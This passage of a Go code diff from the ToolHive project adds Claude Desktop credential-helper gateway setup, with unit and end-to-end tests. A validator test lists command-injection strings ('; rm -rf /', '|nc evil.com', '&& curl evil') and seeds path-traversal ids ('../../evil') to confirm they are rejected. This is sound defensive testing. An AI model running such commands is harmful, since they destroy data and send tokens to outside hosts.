fileExistsAt reports whether a file exists at path. +func fileExistsAt(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// removeIfExists deletes path, treating a missing file as success. +func removeIfExists(path string) error { + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing %s: %w", path, err) + } + return nil +} diff --git a/pkg/client/llm_gateway_credential_helper_test.go b/pkg/client/llm_gateway_credential_helper_test.go new file mode 100644 index 0000000000..b1ed008238 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper_test.go @@ -0,0 +1,398 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// newClaudeDesktopManager returns a ClientManager rooted at a temp home with the +// real Claude Desktop integration, plus the resolved configLibrary metaPath. +func newClaudeDesktopManager(t *testing.T) (*ClientManager, string) { + t.Helper() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + cfg := cm.lookupClientAppConfig(ClientApp(ClaudeDesktop)) + require.NotNil(t, cfg, "ClaudeDesktop must be a supported integration") + require.Equal(t, llmgateway.ModeCredentialHelper, cfg.LLMGatewayMode, "ClaudeDesktop must use the credential-helper model") + return cm, cm.buildLLMSettingsPath(cfg) +} + +// readMeta decodes _meta.json. +func readMeta(t *testing.T, metaPath string) map[string]any { + t.Helper() + data, err := os.ReadFile(metaPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var meta map[string]any + require.NoError(t, json.Unmarshal(data, &meta)) + return meta +} + +// readConfigDoc decodes a .json config document. +func readConfigDoc(t *testing.T, path string) claudeDesktopConfig { + t.Helper() + data, err := os.ReadFile(path) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var doc claudeDesktopConfig + require.NoError(t, json.Unmarshal(data, &doc)) + return doc +} + +func claudeDesktopApplyCfg() llmgateway.ApplyConfig { + return llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + AnthropicBaseURL: "https://gw.example.com/anthropic", + TokenHelperCommand: `"thv" llm token`, + } +} + +func TestConfigureCredentialHelper_WritesConfigMetaAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + cfg := claudeDesktopApplyCfg() + cfg.Models = []string{"claude-opus-4-8", "claude-sonnet-4-6"} + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), cfg) + require.NoError(t, err) + + // Config document contents. + doc := readConfigDoc(t, configPath) + assert.Equal(t, "gateway", doc.InferenceProvider) + assert.Equal(t, "helper-script", doc.InferenceCredentialKind) + assert.Equal(t, "bearer", doc.InferenceGatewayAuthScheme) + assert.Equal(t, "https://gw.example.com/anthropic", doc.InferenceGatewayBaseURL) + assert.Equal(t, []string{"claude-opus-4-8", "claude-sonnet-4-6"}, doc.InferenceModels) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), doc.InferenceCredentialHelperTtlSec) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), doc.InferenceCredentialHelperTimeoutSec) + + // Shim: executable, references the token command, and silent contexts skip + // the browser. + shimPath := cm.credentialHelperShimPath() + assert.Equal(t, shimPath, doc.InferenceCredentialHelper) + info, err := os.Stat(shimPath) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o700), info.Mode().Perm()) + shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.Contains(t, string(shim), `"thv" llm token`) + assert.Contains(t, string(shim), "--skip-browser") + + // _meta.json selects our config by the config document's id. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} + +func TestConfigureCredentialHelper_OmitsModelsWhenEmpty(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The key must be absent (not an empty array) so Claude Desktop falls back to + // gateway-side auto-discovery. + data, err := os.ReadFile(configPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.NotContains(t, string(data), "inferenceModels") +} + +func TestConfigureCredentialHelper_IsIdempotent(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + first, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + second, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Same stable id reused — no orphaned config documents or duplicate entries. + assert.Equal(t, first, second, "repeated setup must reuse the same config id") + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "repeated setup must not duplicate the ToolHive entry") +} + +func TestConfigureCredentialHelper_PreservesForeignEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Seed a user-owned config the way Claude Desktop's own UI would. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "user-config", + "entries": []any{ + map[string]any{"id": "user-config", "name": "My Bedrock"}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + // Our entry is added and selected; the user's entry survives untouched. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Len(t, metaEntries(meta), 2) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +func TestRevertCredentialHelper_RemovesEntryConfigAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + // Config document and shim are gone; entry removed; appliedId cleared because + // it pointed at our config. + assert.NoFileExists(t, configPath) + assert.NoFileExists(t, shimPath) + meta := readMeta(t, metaPath) + assert.Empty(t, metaEntries(meta)) + assert.Equal(t, "", meta["appliedId"]) +} + +func TestConfigureCredentialHelper_RejectsPathTraversalID(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + dir := filepath.Dir(metaPath) + + // Seed _meta.json with a ToolHive-named entry whose id escapes configLibrary, + // as a corrupted/hand-edited file might. + require.NoError(t, os.MkdirAll(dir, 0o700)) + seed := map[string]any{ + "appliedId": "../../evil", + "entries": []any{ + map[string]any{"id": "../../evil", "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The tainted id must be rejected: the written config stays inside + // configLibrary and appliedId points at a fresh, safe id — not the escape. + assert.Equal(t, dir, filepath.Dir(configPath), "config document must stay inside configLibrary") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.True(t, isSafeConfigID(id), "minted id must be a safe bare filename") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"], "appliedId must point at the safe minted id, not the traversal value") + assert.NoFileExists(t, filepath.Join(dir, "..", "..", "evil.json"), "must not write outside configLibrary") +} + +func TestRevertCredentialHelper_EmptyConfigPathLeavesShim(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + + // With no recorded config path we cannot confirm _meta.json no longer + // references the shim, so revert must be a no-op and leave it in place rather + // than risk breaking a still-applied config. + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), "")) + assert.FileExists(t, shimPath, "shim must not be deleted when configPath is empty") +} + +func TestRevertCredentialHelper_LeavesForeignAppliedIDIntact(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Simulate the user re-selecting their own config after setup. + meta := readMeta(t, metaPath) + meta["appliedId"] = "user-config" + meta["entries"] = append(metaEntries(meta), map[string]any{"id": "user-config", "name": "My Bedrock"}) + writeBytes, err := json.Marshal(meta) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, writeBytes, 0o600)) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + meta = readMeta(t, metaPath) + // Our entry is removed but the user's active selection is left alone. + assert.Equal(t, "user-config", meta["appliedId"]) + assert.Len(t, metaEntries(meta), 1) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +// TestRevertCredentialHelper_RejectsUnsafeConfigPath proves the revert-side +// guards refuse to unlink through a tampered stored configPath (os.Remove +// follows symlinks). A stored path outside configLibrary — or one with a +// traversal segment — must be treated as already-reverted, not deleted. +// Each case gets its own sentinel file so subtests run in parallel safely. +func TestRevertCredentialHelper_RejectsUnsafeConfigPath(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + // configLibrary must exist so revert reaches the guard rather than + // early-returning on a missing dir. + require.NoError(t, os.MkdirAll( + filepath.Join(cm.homeDir, "Library", "Application Support", "Claude-3p", "configLibrary"), 0o700)) + + cases := []struct { + name string + stored string + }{ + {"absolute path outside configLibrary", filepath.Join(t.TempDir(), "do-not-delete.txt")}, + {"traversal segment", filepath.Join(cm.homeDir, "..", "evil.json")}, + {"deeper traversal", filepath.Join(cm.homeDir, "..", "..", "evil.json")}, + } + for _, tc := range cases { + tc := tc + // Each subtest owns its own sentinel so parallelism is safe. + require.NoError(t, os.WriteFile(tc.stored, []byte("sentinel"), 0o600)) + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), tc.stored)) + assert.FileExists(t, tc.stored, "teardown must not unlink a tampered configPath") + }) + } +} + +// TestWriteCredentialHelperShim_RejectsUnsafeCommand proves the shim writer +// fails closed on any tokenHelperCommand it cannot prove is shell-safe, rather +// than emitting an injectable 0700 /bin/sh script. buildTokenHelperCommand is +// shell-safe today; this guards against a future caller that isn't. +func TestWriteCredentialHelperShim_RejectsUnsafeCommand(t *testing.T) { + t.Parallel() + cm := &ClientManager{homeDir: t.TempDir()} + + unsafe := []string{ + `"thv" llm token; rm -rf /`, // trailing command via ; + `"thv" llm token #`, // trailing comment + `"thv" llm token && curl evil`, // chained command + `"thv" llm token|nc evil.com`, // pipe to external process + `"thv" llm token` + "\n" + `rm -rf /`, // embedded newline + `unquoted path llm token`, // missing leading double-quote + `"thv" llm tokn`, // wrong suffix (not " llm token") + } + for _, cmd := range unsafe { + t.Run(cmd, func(t *testing.T) { + t.Parallel() + _, err := cm.writeCredentialHelperShim(cmd) + require.Error(t, err, "expected rejection of %q", cmd) + assert.Contains(t, err.Error(), "shell-safe") + }) + } + + // The shape buildTokenHelperCommand actually produces is accepted. + _, err := cm.writeCredentialHelperShim(`"/bin/thv" llm token`) + require.NoError(t, err) +} + +func TestConfigureCredentialHelper_CleansUpOnWriteFailure(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // First setup succeeds: creates the entry, config document, and shim. + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + _ = metaPath + + // Force the config-document write to fail on the next (idempotent) setup: + // replace the config document with a non-empty directory at the same path. + // The reused id targets it and AtomicWriteFile cannot overwrite a directory, + // so the in-lock cleanup path runs. + require.NoError(t, os.Remove(configPath)) + require.NoError(t, os.MkdirAll(configPath, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(configPath, "block"), []byte("x"), 0o600)) + + _, err = cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when the config document cannot be written") + + // Cleanup must NOT delete the shim an earlier successful setup created + // (only a shim minted in the same failed call is removed). + assert.FileExists(t, shimPath, "cleanup must preserve a pre-existing shim on failure") +} + +func TestManagedProfileExistsUnder(t *testing.T) { + t.Parallel() + const domain = "com.anthropic.claudefordesktop.plist" + + t.Run("absent", func(t *testing.T) { + t.Parallel() + assert.False(t, managedProfileExistsUnder(t.TempDir(), domain)) + }) + t.Run("direct path", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(root, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) + t.Run("per-user subdir", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + userDir := filepath.Join(root, "alice") + require.NoError(t, os.MkdirAll(userDir, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(userDir, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) +} + +func TestConfigureCredentialHelper_RejectsNonArrayEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Valid JSON but wrong shape: entries is an object, not an array. Setup must + // bail rather than silently drop it (which would overwrite user data). + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + require.NoError(t, os.WriteFile(metaPath, []byte(`{"appliedId":"","entries":{"oops":true}}`), 0o600)) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when _meta.json entries is not an array") + assert.Contains(t, err.Error(), "entries") +} + +func TestConfigureCredentialHelper_NonStringIDDoesNotDuplicate(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // A name-matching entry with a non-string id must be corrected in place, not + // left alongside a freshly minted duplicate "ToolHive Gateway" entry. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "", + "entries": []any{ + map[string]any{"id": 123, "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "malformed same-name entry must be corrected in place, not duplicated") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index faef0dc42c..de72e40589 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -31,6 +31,9 @@ type GatewayManager interface { ConfigureLLMGateway(clientType string, cfg llmgateway.ApplyConfig) (string, error) // LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. LLMGatewayModeFor(clientType string) string + // IsManaged reports whether a managed-preferences profile overrides the + // client's local config (so the config setup writes would be ignored). + IsManaged(clientType string) bool // ConfigureEnvFile writes .env file entries for the client and returns the // env file path. Returns ("", nil) when the client has no env-file entries. ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) @@ -69,7 +72,7 @@ func Setup( ctx context.Context, out, errOut io.Writer, gm GatewayManager, provider ConfigUpdater, login LoginFunc, inlineOpts SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, + lazy bool, models []string, ) error { llmCfg := provider.GetLLMConfig() @@ -131,13 +134,14 @@ func Setup( configured, err := configureDetectedTools( out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand, - llmCfg.TLSSkipVerify, anthropicPrefix, + llmCfg.TLSSkipVerify, anthropicPrefix, models, ) if err != nil { return err } warnTLSSkipVerify(errOut, llmCfg.TLSSkipVerify, configured) + warnCredentialHelperTools(out, errOut, gm, configured) if err := provider.UpdateLLMConfig(func(c *Config) error { // SetFields applies inline opts to the on-disk config (preserving any @@ -340,15 +344,18 @@ func configureDetectedTools( gatewayURL, proxyBaseURL, tokenHelperCommand string, tlsSkipVerify bool, anthropicPathPrefix string, + models []string, ) ([]ToolConfig, error) { var configured []ToolConfig for _, clientType := range detected { mode := gm.LLMGatewayModeFor(clientType) - // Only apply the Anthropic path prefix for direct-mode tools. - // Proxy-mode tools (Cursor, VS Code, Xcode) do not use ANTHROPIC_BASE_URL. + // Apply the Anthropic path prefix for tools that talk the Anthropic API + // directly — direct-mode (ANTHROPIC_BASE_URL) and credential-helper mode + // (Claude Desktop's inferenceGatewayBaseUrl). Proxy-mode tools (Cursor, + // VS Code, Xcode) do not use it. anthropicBaseURL := "" - if mode == "direct" && anthropicPathPrefix != "" { + if usesAnthropicBaseURL(mode) && anthropicPathPrefix != "" { // Trim any leading slash: url.JoinPath docs say elements should not // start with "/", and path.Join already handles the join correctly. if joined, err := url.JoinPath(gatewayURL, strings.TrimLeft(anthropicPathPrefix, "/")); err == nil { @@ -362,6 +369,7 @@ func configureDetectedTools( ProxyBaseURL: proxyBaseURL, TokenHelperCommand: tokenHelperCommand, TLSSkipVerify: tlsSkipVerify, + Models: models, } configPath, err := gm.ConfigureLLMGateway(clientType, applyCfg) if err != nil { @@ -482,18 +490,46 @@ func buildTokenHelperCommand() (string, error) { return fmt.Sprintf(`"%s" llm token`, self), nil } -// hasDirectModeClient reports whether any client in the detected list uses -// direct mode. Used to skip the Anthropic-prefix probe when no direct-mode -// tools are present (proxy-mode tools ignore ANTHROPIC_BASE_URL entirely). +// usesAnthropicBaseURL reports whether a client mode consumes the Anthropic base +// URL (gateway + /anthropic prefix): direct mode via ANTHROPIC_BASE_URL, and +// credential-helper mode (Claude Desktop) via inferenceGatewayBaseUrl. +func usesAnthropicBaseURL(mode string) bool { + return mode == llmgateway.ModeDirect || mode == llmgateway.ModeCredentialHelper +} + +// hasDirectModeClient reports whether any client in the detected list uses a +// mode that needs the Anthropic base URL. Used to skip the Anthropic-prefix +// probe when no such tools are present (proxy-mode tools ignore it entirely). func hasDirectModeClient(gm GatewayManager, detected []string) bool { for _, clientType := range detected { - if gm.LLMGatewayModeFor(clientType) == "direct" { + if usesAnthropicBaseURL(gm.LLMGatewayModeFor(clientType)) { return true } } return false } +// warnCredentialHelperTools prints the follow-up notes credential-helper clients +// (Claude Desktop) need: they read config only at launch, so the user must fully +// quit and relaunch; and a managed-preferences profile, if present, overrides +// the local config setup just wrote. +func warnCredentialHelperTools(out, errOut io.Writer, gm GatewayManager, configured []ToolConfig) { + for _, tc := range configured { + if tc.Mode != llmgateway.ModeCredentialHelper { + continue + } + _, _ = fmt.Fprintf(out, + "%s reads its configuration only at launch — fully quit and reopen it "+ + "for the gateway change to take effect.\n", tc.Tool) + if gm.IsManaged(tc.Tool) { + _, _ = fmt.Fprintf(errOut, + "Warning: a managed-preferences profile for %s is present; it overrides the local "+ + "configuration just written, which will be ignored. Remove the managed profile or "+ + "configure the gateway there instead.\n", tc.Tool) + } + } +} + // revertToolConfig reverts the settings-file and .env patches for a single // tool. Errors are logged as warnings so the caller can continue with others. func revertToolConfig(out, errOut io.Writer, gm GatewayManager, tc ToolConfig) { diff --git a/pkg/llm/setup_test.go b/pkg/llm/setup_test.go index b8a4af5bdd..386a6ced72 100644 --- a/pkg/llm/setup_test.go +++ b/pkg/llm/setup_test.go @@ -104,6 +104,7 @@ func (*stubGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfi return "", nil } func (*stubGatewayManager) LLMGatewayModeFor(_ string) string { return "" } +func (*stubGatewayManager) IsManaged(_ string) bool { return false } func (*stubGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -193,6 +194,7 @@ func (*setupGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConf return "/tmp/settings.json", nil } func (g *setupGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*setupGatewayManager) IsManaged(_ string) bool { return false } func (*setupGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -227,7 +229,7 @@ func TestSetup_Lazy_SkipsLoginAndPersistsTools(t *testing.T) { // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", true, + SetOptions{}, "", true, "", true, nil, ) require.NoError(t, err) @@ -255,7 +257,7 @@ func TestSetup_NonLazy_InvokesLogin(t *testing.T) { var stdout, stderr bytes.Buffer err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", false, + SetOptions{}, "", true, "", false, nil, ) require.NoError(t, err) @@ -277,6 +279,7 @@ func (g *capturingGatewayManager) ConfigureLLMGateway(_ string, cfg llmgateway.A return "/path/to/settings.json", nil } func (g *capturingGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*capturingGatewayManager) IsManaged(_ string) bool { return false } func (*capturingGatewayManager) LLMSetupNoteFor(_ string) string { return "" } func (*capturingGatewayManager) RevertLLMGateway(_, _ string) error { return nil } func (*capturingGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { @@ -294,7 +297,7 @@ func TestConfigureDetectedTools_PathPrefixAppendedForDirectMode(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + false, "/anthropic", nil, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -314,7 +317,7 @@ func TestConfigureDetectedTools_NoPrefixWhenEmpty(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "", // no prefix + false, "", nil, // no prefix ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -333,7 +336,7 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { &out, &errOut, gm, []string{"cursor"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + false, "/anthropic", nil, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -382,3 +385,43 @@ func TestProbeAnthropicPrefix_Returns_Empty_For_EmptyGatewayURL(t *testing.T) { prefix := probeAnthropicPrefix(context.Background(), "", false) assert.Empty(t, prefix) } + +// managedGatewayManager is a stub whose IsManaged is configurable per client, +// for exercising warnCredentialHelperTools' managed-profile warning branch. +type managedGatewayManager struct{ managed map[string]bool } + +func (*managedGatewayManager) DetectedLLMGatewayClients() []string { return nil } +func (*managedGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) LLMGatewayModeFor(_ string) string { + return llmgateway.ModeCredentialHelper +} +func (g *managedGatewayManager) IsManaged(c string) bool { return g.managed[c] } +func (*managedGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) RevertEnvFile(_, _ string) error { return nil } +func (*managedGatewayManager) RevertLLMGateway(_, _ string) error { return nil } + +func TestWarnCredentialHelperTools(t *testing.T) { + t.Parallel() + gm := &managedGatewayManager{managed: map[string]bool{"claude-desktop": true}} + var out, errOut bytes.Buffer + + warnCredentialHelperTools(&out, &errOut, gm, []ToolConfig{ + {Tool: "claude-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "other-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "claude-code", Mode: "direct"}, + }) + + // The relaunch note prints on stdout for every credential-helper tool, and + // not for non-credential-helper tools. + assert.Contains(t, out.String(), "claude-desktop reads its configuration only at launch") + assert.Contains(t, out.String(), "other-desktop reads its configuration only at launch") + assert.NotContains(t, out.String(), "claude-code") + + // The MDM warning prints on stderr only for the managed tool. + assert.Contains(t, errOut.String(), "managed-preferences profile for claude-desktop") + assert.NotContains(t, errOut.String(), "profile for other-desktop") +} diff --git a/pkg/llmgateway/config.go b/pkg/llmgateway/config.go index 2b033dddc0..09fcf21a8b 100644 --- a/pkg/llmgateway/config.go +++ b/pkg/llmgateway/config.go @@ -24,6 +24,36 @@ const ClaudeCodeHelperTTL = 5 * time.Minute // suspenders pairing work; keep the two values in sync (guarded by a test). const LLMTokenRefreshWindow = 2 * ClaudeCodeHelperTTL +// ClaudeDesktopHelperTTL is written to the Claude Desktop config as +// inferenceCredentialHelperTtlSec: how often Claude Desktop re-invokes the +// credential helper (a shim that runs "thv llm token"). Kept equal to +// ClaudeCodeHelperTTL so the same LLMTokenRefreshWindow invariant holds — every +// invocation in the final window forces a refresh, so Claude Desktop never +// receives an about-to-expire token. +const ClaudeDesktopHelperTTL = ClaudeCodeHelperTTL + +// ClaudeDesktopHelperTimeout is written as inferenceCredentialHelperTimeoutSec: +// how long Claude Desktop waits for the credential helper to print a token +// before killing it. Sized to allow a silent OIDC refresh (cached refresh token +// → new access token) but not a full interactive re-auth, which "thv llm setup" +// performs up front so the steady-state helper call stays fast. +const ClaudeDesktopHelperTimeout = 30 * time.Second + +// LLM gateway client modes. The single source of truth dispatched on in +// pkg/client (ConfigureLLMGateway/RevertLLMGateway) and pkg/llm +// (usesAnthropicBaseURL/warnCredentialHelperTools). Kept here so both packages +// reference one compiler-checked set of values rather than carrying private +// string copies that can drift. +const ( + // ModeDirect routes traffic through ANTHROPIC_BASE_URL / a token helper. + ModeDirect = "direct" + // ModeProxy routes traffic through a localhost reverse proxy. + ModeProxy = "proxy" + // ModeCredentialHelper routes traffic through a document + selector + + // helper-script model (Claude Desktop's third-party inference surface). + ModeCredentialHelper = "credential-helper" //nolint:gosec // G101: mode identifier, not a credential +) + // ProxyOriginOf returns rawURL with its path, query, fragment, and userinfo // stripped so only the scheme and host remain (the "origin"). Tools like // Gemini CLI that append their own API path (e.g. /v1beta/...) need the @@ -56,4 +86,8 @@ type ApplyConfig struct { ProxyBaseURL string // proxy-mode: URL of the localhost reverse proxy TokenHelperCommand string // direct-mode: shell command that prints a fresh token TLSSkipVerify bool // when true, instruct the tool to skip TLS verification + // Models is the optional explicit model list written to clients that support + // a model override (e.g. Claude Desktop's inferenceModels). Empty means the + // client falls back to gateway-side model auto-discovery. + Models []string } diff --git a/test/e2e/cli_llm_all_clients_test.go b/test/e2e/cli_llm_all_clients_test.go index 102a141270..78fa1f971b 100644 --- a/test/e2e/cli_llm_all_clients_test.go +++ b/test/e2e/cli_llm_all_clients_test.go @@ -962,6 +962,113 @@ var _ = Describe("thv llm — all-client matrix", Label("cli", "llm", "clients", }) }) + Describe("claude-desktop (credential-helper) setup and teardown", func() { + // Claude Desktop uses a configLibrary document + _meta.json selector and + // a credential-helper shim, not single-file JSON-pointer patching — so it + // gets its own assertions rather than the allClientTestCases matrix. + claudeDesktopPaths := func(root string) (appDir, configLib, shim string) { + if runtime.GOOS == osDarwin { + base := filepath.Join(root, "Library", "Application Support") + return filepath.Join(base, "Claude"), + filepath.Join(base, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + return filepath.Join(root, "Claude"), + filepath.Join(root, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + + // readAppliedConfigDoc resolves _meta.json's appliedId to its config doc. + readAppliedConfigDoc := func(configLib string) (map[string]any, map[string]any) { + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should exist after setup") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + + appliedID, _ := meta["appliedId"].(string) + Expect(appliedID).ToNot(BeEmpty(), "appliedId should be set after setup") + docData, err := os.ReadFile(filepath.Join(configLib, appliedID+".json")) + Expect(err).ToNot(HaveOccurred(), "applied config document should exist") + var doc map[string]any + Expect(json.Unmarshal(docData, &doc)).To(Succeed()) + return meta, doc + } + + It("writes the config document, selector, and shim, then reverts them", func() { + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + appDir, configLib, shim := claudeDesktopPaths(tempDir) + + By("creating the Claude Desktop app directory so detection succeeds") + Expect(os.MkdirAll(appDir, 0750)).To(Succeed()) + + By("running thv llm setup --client claude-desktop") + // Pin the Anthropic prefix so setup skips the network probe (fast, + // deterministic base URL). + stdout, stderr, err := runSetupWithOIDCCompletion( + thvCmd, oidcServer, + "--client", "claude-desktop", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + "--anthropic-path-prefix", "/anthropic", + "--models", "claude-opus-4-8,claude-sonnet-4-6", + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + Expect(stdout).To(ContainSubstring("quit"), + "setup should tell the user to relaunch Claude Desktop") + + By("verifying the config document contents") + _, doc := readAppliedConfigDoc(configLib) + Expect(doc["inferenceProvider"]).To(Equal("gateway")) + 